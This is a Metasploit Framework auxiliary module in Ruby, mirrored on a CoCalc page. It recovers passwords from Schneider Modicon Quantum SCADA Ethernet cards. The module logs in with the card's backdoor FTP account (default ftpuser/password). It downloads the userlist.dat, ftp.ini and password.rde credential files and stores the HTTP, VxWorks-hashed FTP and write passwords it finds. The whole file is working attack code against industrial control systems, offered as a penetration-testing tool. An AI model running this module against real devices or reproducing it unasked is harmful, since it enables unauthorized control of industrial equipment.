CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/admin/scada/modicon_password_recovery.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Ftp
8
include Msf::Auxiliary::Report
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Schneider Modicon Quantum Password Recovery',
13
'Description' => %q{
14
The Schneider Modicon Quantum series of Ethernet cards store usernames and
15
passwords for the system in files that may be retrieved via backdoor access.
16
17
This module is based on the original 'modiconpass.rb' Basecamp module from
18
DigitalBond.
19
},
20
'Author' =>
21
[
22
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
23
'todb' # Metasploit fixups
24
],
25
'License' => MSF_LICENSE,
26
'References' =>
27
[
28
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
29
],
30
'DisclosureDate'=> '2012-01-19'
31
))
32
33
register_options(
34
[
35
Opt::RPORT(21),
36
OptString.new('FTPUSER', [true, "The backdoor account to use for login", 'ftpuser'], fallbacks: ['USERNAME']),
37
OptString.new('FTPPASS', [true, "The backdoor password to use for login", 'password'], fallbacks: ['PASSWORD'])
38
])
39
40
register_advanced_options(
41
[
42
OptBool.new('RUN_CHECK', [false, "Check if the device is really a Modicon device", true])
43
])
44
45
end
46
47
# Thinking this should be a standard alias for all aux
48
def ip
49
Rex::Socket.resolv_to_dotted(datastore['RHOST'])
50
end
51
52
def check_banner
53
banner == "220 FTP server ready.\r\n"
54
end
55
56
# TODO: If the username and password is correct, but this /isn't/ a Modicon
57
# device, then we're going to end up storing HTTP credentials that are not
58
# correct. If there's a way to fingerprint the device, it should be done here.
59
def check
60
is_modicon = false
61
vprint_status "#{ip}:#{rport} - FTP - Checking fingerprint"
62
connect rescue nil
63
if sock
64
# It's a weak fingerprint, but it's something
65
is_modicon = check_banner()
66
disconnect
67
else
68
vprint_error "#{ip}:#{rport} - FTP - Cannot connect, skipping"
69
return Exploit::CheckCode::Unknown
70
end
71
72
if is_modicon
73
vprint_status "#{ip}:#{rport} - FTP - Matches Modicon fingerprint"
74
return Exploit::CheckCode::Detected
75
else
76
vprint_error "#{ip}:#{rport} - FTP - Skipping due to fingerprint mismatch"
77
end
78
79
return Exploit::CheckCode::Safe
80
end
81
82
def run
83
if datastore['RUN_CHECK'] and check == Exploit::CheckCode::Detected
84
print_status("Service detected.")
85
grab() if setup_ftp_connection()
86
else
87
grab() if setup_ftp_connection()
88
end
89
end
90
91
def report_cred(opts)
92
service_data = {
93
address: opts[:ip],
94
port: opts[:port],
95
service_name: opts[:service_name],
96
protocol: 'tcp',
97
workspace_id: myworkspace_id
98
}
99
100
credential_data = {
101
origin_type: :service,
102
module_fullname: fullname,
103
username: opts[:user],
104
private_data: opts[:password],
105
private_type: :password
106
}.merge(service_data)
107
108
login_data = {
109
last_attempted_at: Time.now,
110
core: create_credential(credential_data),
111
status: Metasploit::Model::Login::Status::SUCCESSFUL,
112
proof: opts[:proof]
113
}.merge(service_data)
114
115
create_credential_login(login_data)
116
end
117
118
def setup_ftp_connection
119
vprint_status "#{ip}:#{rport} - FTP - Connecting"
120
conn = connect_login
121
if conn
122
print_good("#{ip}:#{rport} - FTP - Login succeeded")
123
report_cred(
124
ip: ip,
125
port: rport,
126
user: user,
127
password: pass,
128
service_name: 'modicon',
129
proof: "connect_login: #{conn}"
130
)
131
return true
132
else
133
print_error("#{ip}:#{rport} - FTP - Login failed")
134
return false
135
end
136
end
137
138
def cleanup
139
disconnect rescue nil
140
data_disconnect rescue nil
141
end
142
143
# Echo the Net::FTP implementation
144
def ftp_gettextfile(fname)
145
vprint_status("#{ip}:#{rport} - FTP - Opening PASV data socket to download #{fname.inspect}")
146
data_connect("A")
147
res = send_cmd_data(["GET", fname.to_s], nil, "A")
148
end
149
150
def grab
151
logins = Rex::Text::Table.new(
152
'Header' => "Schneider Modicon Quantum services, usernames, and passwords",
153
'Indent' => 1,
154
'Columns' => ["Service", "User Name", "Password"]
155
)
156
httpcreds = ftp_gettextfile('/FLASH0/userlist.dat')
157
if httpcreds
158
print_status "#{ip}:#{rport} - FTP - HTTP password retrieval: success"
159
else
160
print_status "#{ip}:#{rport} - FTP - HTTP default password presumed"
161
end
162
ftpcreds = ftp_gettextfile('/FLASH0/ftp/ftp.ini')
163
if ftpcreds
164
print_status "#{ip}:#{rport} - FTP - password retrieval: success"
165
else
166
print_error "#{ip}:#{rport} - FTP - password retrieval error"
167
end
168
writecreds = ftp_gettextfile('/FLASH0/rdt/password.rde')
169
if writecreds
170
print_status "#{ip}:#{rport} - FTP - Write password retrieval: success"
171
else
172
print_error "#{ip}:#{rport} - FTP - Write password error"
173
end
174
if httpcreds
175
httpuser = httpcreds[1].split(/[\r\n]+/)[0]
176
httppass = httpcreds[1].split(/[\r\n]+/)[1]
177
proof = "FTP PASV data socket: #{httpcreds}"
178
else
179
# Usual defaults
180
httpuser = "USER"
181
httppass = "USER"
182
proof = "Usual defaults"
183
end
184
print_status("#{rhost}:#{rport} - FTP - Storing HTTP credentials")
185
logins << ["http", httpuser, httppass]
186
187
report_cred(
188
ip: ip,
189
port: rport,
190
service_name: 'http',
191
user: httpuser,
192
password: httppass,
193
proof: proof
194
)
195
196
logins << ["scada-write", "", writecreds[1]]
197
if writecreds # This is like an enable password, used after HTTP authentication.
198
report_note(
199
:host => ip,
200
:port => 80,
201
:proto => 'tcp',
202
:sname => 'http',
203
:ntype => 'scada.modicon.write-password',
204
:data => writecreds[1]
205
)
206
end
207
208
if ftpcreds
209
# TODO:
210
# Can we add a nicer dictionary? Revershing the hash
211
# using Metasploit's existing loginDefaultencrypt dictionary yields
212
# plaintexts that contain non-ascii characters for some hashes.
213
# check out entries starting at 10001 in /msf3/data/wordlists/vxworks_collide_20.txt
214
# for examples. A complete ascii rainbow table for loginDefaultEncrypt is ~2.6mb,
215
# and it can be done in just a few lines of ruby.
216
# See https://github.com/cvonkleist/vxworks_hash
217
modicon_ftpuser = ftpcreds[1].split(/[\r\n]+/)[0]
218
modicon_ftppass = ftpcreds[1].split(/[\r\n]+/)[1]
219
else
220
modicon_ftpuser = "USER"
221
modicon_ftppass = "USERUSER" #from the manual. Verified.
222
end
223
print_status("#{rhost}:#{rport} - FTP - Storing hashed FTP credentials")
224
# The collected hash is not directly reusable, so it shouldn't be an
225
# auth credential in the Cred sense. TheLightCosine should fix some day.
226
# Can be used for telnet as well if telnet is enabled.
227
report_note(
228
:host => ip,
229
:port => rport,
230
:proto => 'tcp',
231
:sname => 'ftp',
232
:ntype => 'scada.modicon.ftp-password',
233
:data => "User:#{modicon_ftpuser} VXWorks_Password:#{modicon_ftppass}"
234
)
235
logins << ["VxWorks", modicon_ftpuser, modicon_ftppass]
236
237
# Not this:
238
# report_auth_info(
239
# :host => ip,
240
# :port => rport,
241
# :proto => 'tcp',
242
# :sname => 'ftp',
243
# :user => modicon_ftpuser,
244
# :pass => modicon_ftppass,
245
# :type => 'password_vx', # It's a hash, not directly usable, but crackable
246
# :active => true
247
# )
248
print_line logins.to_s
249
end
250
end
251
252